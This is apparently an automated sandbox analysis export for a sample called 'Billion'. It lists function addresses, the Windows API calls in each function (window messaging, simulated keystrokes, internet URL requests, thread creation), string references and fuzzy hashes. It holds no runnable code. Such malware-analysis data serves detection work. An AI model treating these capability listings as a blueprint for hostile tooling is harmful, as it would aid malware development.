Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 40089dbbd139bcaada26e5d44a604599fcb1b8a3dcb37c72f2d6d2c7c5eebd94
Instruction ID: 423a79d2b8c171dd77d499e182084d8db94d92d26f4a2e829487cf02096799d4
Opcode Fuzzy Hash: 40089dbbd139bcaada26e5d44a604599fcb1b8a3dcb37c72f2d6d2c7c5eebd94
Instruction Fuzzy Hash: 09315EB2908304AFDF14AB14FEC9F797BAAAB44316F118015FB06A61E5D774E980CB60

Function 00162FF3 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00163007

Part of subcall function 00162D38: RtlFreeHeap.NTDLL(00000000,00000000,?,0016DB51,00201DC4,00000000,00201DC4,00000000,?,0016DB78,00201DC4,00000007,00201DC4,?,0016DF75,00201DC4), ref: 00162D4E
Part of subcall function 00162D38: GetLastError.KERNEL32(00201DC4,?,0016DB51,00201DC4,00000000,00201DC4,00000000,?,0016DB78,00201DC4,00000007,00201DC4,?,0016DF75,00201DC4,00201DC4), ref: 00162D60

_free.LIBCMT ref: 00163013
_free.LIBCMT ref: 0016301E
_free.LIBCMT ref: 00163029
_free.LIBCMT ref: 00163034
_free.LIBCMT ref: 0016303F
_free.LIBCMT ref: 0016304A
_free.LIBCMT ref: 00163055
_free.LIBCMT ref: 00163060
_free.LIBCMT ref: 0016306E

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1834f0cae2cb6a16ace0d44c24806b27d198fde048485f756f61629394d6ee26
Instruction ID: 192402e8cf6bb5390f9eee01d733c3b422c12ece62dd95c996ab8b9a8c690cb3
Opcode Fuzzy Hash: 1834f0cae2cb6a16ace0d44c24806b27d198fde048485f756f61629394d6ee26
Instruction Fuzzy Hash: B9115676510508BFCB01EF94CD42DDD3BA5EF16390B9145A5FA08DF222DB32EE619B90

Function 00132AB0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00132AF9
OleUninitialize.OLE32(?,00000000), ref: 00132B98
UnregisterHotKey.USER32(?), ref: 00132D7D
DestroyWindow.USER32(?), ref: 00173A1B
FreeLibrary.KERNEL32(?), ref: 00173A80
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00173AAD

Strings

close all, xrefs: 00132AF4

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: a6fb325640d6a4b6e5c268ab4588f5537e7f904215d36b8dacbe415248b9d77e
Instruction ID: 990f825f209bf1fb997377a3682793e82a1c033490a85f51b582a41a37993813
Opcode Fuzzy Hash: a6fb325640d6a4b6e5c268ab4588f5537e7f904215d36b8dacbe415248b9d77e
Instruction Fuzzy Hash: 6FD17A31701212DFCB29EF54C89AA69F7B0BF14714F1142ADE95AAB261CB30EE12DF40

Function 001A8835 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 001A89F2
SetCurrentDirectoryW.KERNEL32(?), ref: 001A8A06
GetFileAttributesW.KERNEL32(?), ref: 001A8A30
SetFileAttributesW.KERNEL32(?,00000000), ref: 001A8A4A
SetCurrentDirectoryW.KERNEL32(?), ref: 001A8A5C
SetCurrentDirectoryW.KERNEL32(?), ref: 001A8AA5
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 001A8AF5

Strings

*.*, xrefs: 001A8AAB

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: 0a14e5fdb7e6e29c4fd47c27e75e97ac06598500537929859c6cf1e9b57a61c4
Instruction ID: 230afe95ea19adadd891f0c8411407251c45ff2695ff2aec0de24d0a63748965
Opcode Fuzzy Hash: 0a14e5fdb7e6e29c4fd47c27e75e97ac06598500537929859c6cf1e9b57a61c4
Instruction Fuzzy Hash: E781AEB69043459BCB24EF14C444ABBB7E8BF9A314F58482EF885D7250EF34E945CB92

Function 001C88F9 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 193windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 001C8992
IsWindowEnabled.USER32(00000000), ref: 001C899E
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 001C8A79
SendMessageW.USER32(00000000,000000B0,?,?), ref: 001C8AAC
IsDlgButtonChecked.USER32(?,00000000), ref: 001C8AE4
GetWindowLongW.USER32(00000000,000000EC), ref: 001C8B06
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 001C8B1E

Strings

( , xrefs: 001C89D5

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID: (
API String ID: 4072528602-2181176062
Opcode ID: 6dc877ea9c0022a562dcaf01393866cb5ef2306727cbdf4ff0f35d419a55183f
Instruction ID: 43b421b2453d20ed05c2ae9563617a18ad7d46dbd448af737da51ce88e5d362f
Opcode Fuzzy Hash: 6dc877ea9c0022a562dcaf01393866cb5ef2306727cbdf4ff0f35d419a55183f
Instruction Fuzzy Hash: CB718A74600204AFEB25DF54C8C5FBABBB9EF6A304F14045EE855A7261CB31ED84DB61

Function 00137447 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 001374D7

Part of subcall function 00137567: GetClientRect.USER32(?,?), ref: 0013758D
Part of subcall function 00137567: GetWindowRect.USER32(?,?), ref: 001375CE
Part of subcall function 00137567: ScreenToClient.USER32(?,?), ref: 001375F6

GetDC.USER32 ref: 00176083
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00176096
SelectObject.GDI32(00000000,00000000), ref: 001760A4
SelectObject.GDI32(00000000,00000000), ref: 001760B9
ReleaseDC.USER32(?,00000000), ref: 001760C1
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00176152

Strings

U, xrefs: 00176021

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 725b8836e8d596c8332084263419131b75d71da6a28db071084a2ecb48167714
Instruction ID: 06f16814856fe94d99a7ece9879e4604641bd2964df54113dac064c025155932
Opcode Fuzzy Hash: 725b8836e8d596c8332084263419131b75d71da6a28db071084a2ecb48167714
Instruction Fuzzy Hash: D671BF71500605EFCF258F64DC88AAA7FB5FF89320F24866AFD595A1A6C731DC80DB60

Function 001ACC98 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 001ACCB7
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001ACCDF
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 001ACD0F
GetLastError.KERNEL32 ref: 001ACD67
SetEvent.KERNEL32(?), ref: 001ACD7B
InternetCloseHandle.WININET(00000000), ref: 001ACD86

Strings

, xrefs: 001ACD00

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: d04cbbaa3edcd77627b8025fae9107334baefdaadcf6e8b41baa02f5e3214dd0
Instruction ID: 568b3ceb52e338c2d346d4e0170b290491074c63eaa46c393fc22fab94881c6e
Opcode Fuzzy Hash: d04cbbaa3edcd77627b8025fae9107334baefdaadcf6e8b41baa02f5e3214dd0
Instruction Fuzzy Hash: 5D319FB9500708AFD721AFA49C88EAB7FFCEB46744B10452EF44A93600DB34DD449BE1

Function 0019A215 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,001755AE,?,?,Bad directive syntax error,001CDCD0,00000000,00000010,?,?), ref: 0019A236
LoadStringW.USER32(00000000,?,001755AE,?), ref: 0019A23D

Part of subcall function 0013B329: _wcslen.LIBCMT ref: 0013B333

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 0019A301

Strings

%s (%d) : ==> %s.: %s %s, xrefs: 0019A26B
Line %d (File "%s"):, xrefs: 0019A2A7
., xrefs: 0019A2E7
Line %d:, xrefs: 0019A28C
Error: , xrefs: 0019A2CF

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: 48bce3c56f68b3a7946c7c8eabaab8af81e8a389db3685c9a058aba9d137c25f
Instruction ID: c5b298377dc984c977b80bc888d7df8f938ae7d22e4b988cf43dabd4354ab742
Opcode Fuzzy Hash: 48bce3c56f68b3a7946c7c8eabaab8af81e8a389db3685c9a058aba9d137c25f
Instruction Fuzzy Hash: 9C21913190021EFFCF01AFA0CC46EEE7B39BF28304F444469F605650A2EB71A658DB51

Function 001929EC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 001929F8
GetClassNameW.USER32(00000000,?,00000100), ref: 00192A0D
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00192A9A

Strings

largeicons, xrefs: 00192A2E
details, xrefs: 00192A48
SHELLDLL_DefView, xrefs: 00192A19
smallicons, xrefs: 00192A62
list, xrefs: 00192A7C

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: 8a18c7edc3ef8398a15b9624749f8ce373bdeca11adde7639a394e3d21fe86f8
Instruction ID: ad4dbc081ee984c94f292df1e23c0df67c9c5a0c188a95493a46930a811bf0a3
Opcode Fuzzy Hash: 8a18c7edc3ef8398a15b9624749f8ce373bdeca11adde7639a394e3d21fe86f8
Instruction Fuzzy Hash: B911E97B74430BBAFE286720EC07DA67BAD9F25729B200026FA05E64D1FB75A8854614

Function 00137567 Relevance: 13.8, APIs: 9, Instructions: 291COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0013758D
GetWindowRect.USER32(?,?), ref: 001375CE
ScreenToClient.USER32(?,?), ref: 001375F6
GetClientRect.USER32(?,?), ref: 0013773A
GetWindowRect.USER32(?,?), ref: 0013775B

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: f9f0c153e0c15d6d8b944cc2d2f4d3ba8ecfddd49953a52d59e5f06712120e44
Instruction ID: 61ba30f235d53292610ad337479ef8c442aa13b796721383d3426b638da7e3af
Opcode Fuzzy Hash: f9f0c153e0c15d6d8b944cc2d2f4d3ba8ecfddd49953a52d59e5f06712120e44
Instruction Fuzzy Hash: C1C16CB990465AEFDB24CFA8C544BEDBBF1FF18310F14841AE899E3290D734A951DB60

Function 0016D210 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0016D237
_free.LIBCMT ref: 0016D2A2
_free.LIBCMT ref: 0016D2C8
_free.LIBCMT ref: 0016D2F1
_free.LIBCMT ref: 0016D329
_free.LIBCMT ref: 0016D35A
_free.LIBCMT ref: 0016D39B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 0016D41C
_free.LIBCMT ref: 0016D435

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 1fcfc50aa2616490fdf14d2d90fcdb2ac63c40517bdeaf706cc48d51fe75ea1a
Instruction ID: f68e925eca59cc90246258aa002b8b53c013e868f939365a2099b9fdff8288b8
Opcode Fuzzy Hash: 1fcfc50aa2616490fdf14d2d90fcdb2ac63c40517bdeaf706cc48d51fe75ea1a
Instruction Fuzzy Hash: E26138B1F00701AFDB25AF79FC95AAD7BA4EF12760F04016DE844EB282DB3198208791

Function 001ACB88 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 001ACBC7
GetLastError.KERNEL32 ref: 001ACBDA
SetEvent.KERNEL32(?), ref: 001ACBEE

Part of subcall function 001ACC98: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 001ACCB7
Part of subcall function 001ACC98: GetLastError.KERNEL32 ref: 001ACD67
Part of subcall function 001ACC98: SetEvent.KERNEL32(?), ref: 001ACD7B
Part of subcall function 001ACC98: InternetCloseHandle.WININET(00000000), ref: 001ACD86

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: 38d4f47b82b0561e69fca77e38cf0a39b8612321a76d80a41d8d8cda11417101
Instruction ID: bee3f401922c9185e674265859d376059b887b0a5606fd4f01c8ebd56a7e6757
Opcode Fuzzy Hash: 38d4f47b82b0561e69fca77e38cf0a39b8612321a76d80a41d8d8cda11417101
Instruction Fuzzy Hash: 0631AF75100B01AFDB218FB5DD44AABBBF8FF06324B00452DF95A82A10CB31E854EBA0

Function 00192EEF Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00194393: GetWindowThreadProcessId.USER32(?,00000000), ref: 001943AD
Part of subcall function 00194393: GetCurrentThreadId.KERNEL32 ref: 001943B4
Part of subcall function 00194393: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00192F00), ref: 001943BB

MapVirtualKeyW.USER32(00000025,00000000), ref: 00192F0A
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00192F28
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00192F2C
MapVirtualKeyW.USER32(00000025,00000000), ref: 00192F36
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00192F4E
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00192F52
MapVirtualKeyW.USER32(00000025,00000000), ref: 00192F5C
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00192F70
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00192F74

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 4177f94e69a4587adfb9a69680229bda848ae29b7ec8986a7b87e6a613f13ef8
Instruction ID: 516ddfcc4d8da40c2087fc318cd0bc40910bdfa8b9b63255dec75f634e702460
Opcode Fuzzy Hash: 4177f94e69a4587adfb9a69680229bda848ae29b7ec8986a7b87e6a613f13ef8
Instruction Fuzzy Hash: 8401D830784224BBFB1067689C8AF593F59EB5DB11F120025F358AE1E0C9F25444CAA9

Function 00192150 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00191D95,?,?,00000000), ref: 00192159
HeapAlloc.KERNEL32(00000000,?,00191D95,?,?,00000000), ref: 00192160
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00191D95,?,?,00000000), ref: 00192175
GetCurrentProcess.KERNEL32(?,00000000,?,00191D95,?,?,00000000), ref: 0019217D
DuplicateHandle.KERNEL32(00000000,?,00191D95,?,?,00000000), ref: 00192180
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00191D95,?,?,00000000), ref: 00192190
GetCurrentProcess.KERNEL32(00191D95,00000000,?,00191D95,?,?,00000000), ref: 00192198
DuplicateHandle.KERNEL32(00000000,?,00191D95,?,?,00000000), ref: 0019219B
CreateThread.KERNEL32(00000000,00000000,001921C1,00000000,00000000,00000000), ref: 001921B5

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 56840f6c262a76003530c3e1237d6e0cfb2fef51087121382ac3f748a647fc82
Instruction ID: c607e74ba768e20fe5f8c90737a0907cdb50a4953152e9c5f143b9e4a441aea7
Opcode Fuzzy Hash: 56840f6c262a76003530c3e1237d6e0cfb2fef51087121382ac3f748a647fc82
Instruction Fuzzy Hash: CA01A8B5640344BFEA10ABA5EC49F6B7BACEB88711F454425FA05DB5A1CA70D840CA20

Function 0019CE7B Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001341EA: _wcslen.LIBCMT ref: 001341EF

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0019CF99
_wcslen.LIBCMT ref: 0019CFE0
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0019D047
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 0019D075

Strings

<* , xrefs: 0019CEF6
,* , xrefs: 0019CF0C
0, xrefs: 0019CF5A

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: ,* $0$<*
API String ID: 1227352736-1325340096
Opcode ID: 3bda65d5cd709a4bcc8fdf2fe7760d2af747fede409a8db0db58285e4a3bffff
Instruction ID: 45b538f6a0ff2cc37fb216a7cd684ab93a2babee79ebc3b9bc6ec852f3b2146d
Opcode Fuzzy Hash: 3bda65d5cd709a4bcc8fdf2fe7760d2af747fede409a8db0db58285e4a3bffff
Instruction Fuzzy Hash: 5E51F1316043009BDB14AF28E889B6BBBE8AF99314F080A2DF995D31D1DB70CD49C792

Function 001C4322 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 001C43C1
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 001C43D6
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 001C43F0
_wcslen.LIBCMT ref: 001C4435
SendMessageW.USER32(?,00001057,00000000,?), ref: 001C4462
SendMessageW.USER32(?,00001061,?,0000000F), ref: 001C4490

Strings

SysListView32, xrefs: 001C4393

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: 792899f3c57c0601564d9615aa1a9537d2dd909c064ddf7f4196d9aba3bf9552
Instruction ID: a0ad2ef293c78336d021fabebbceeb54b8daea7dd68ec676c6d820f6825cb08a
Opcode Fuzzy Hash: 792899f3c57c0601564d9615aa1a9537d2dd909c064ddf7f4196d9aba3bf9552
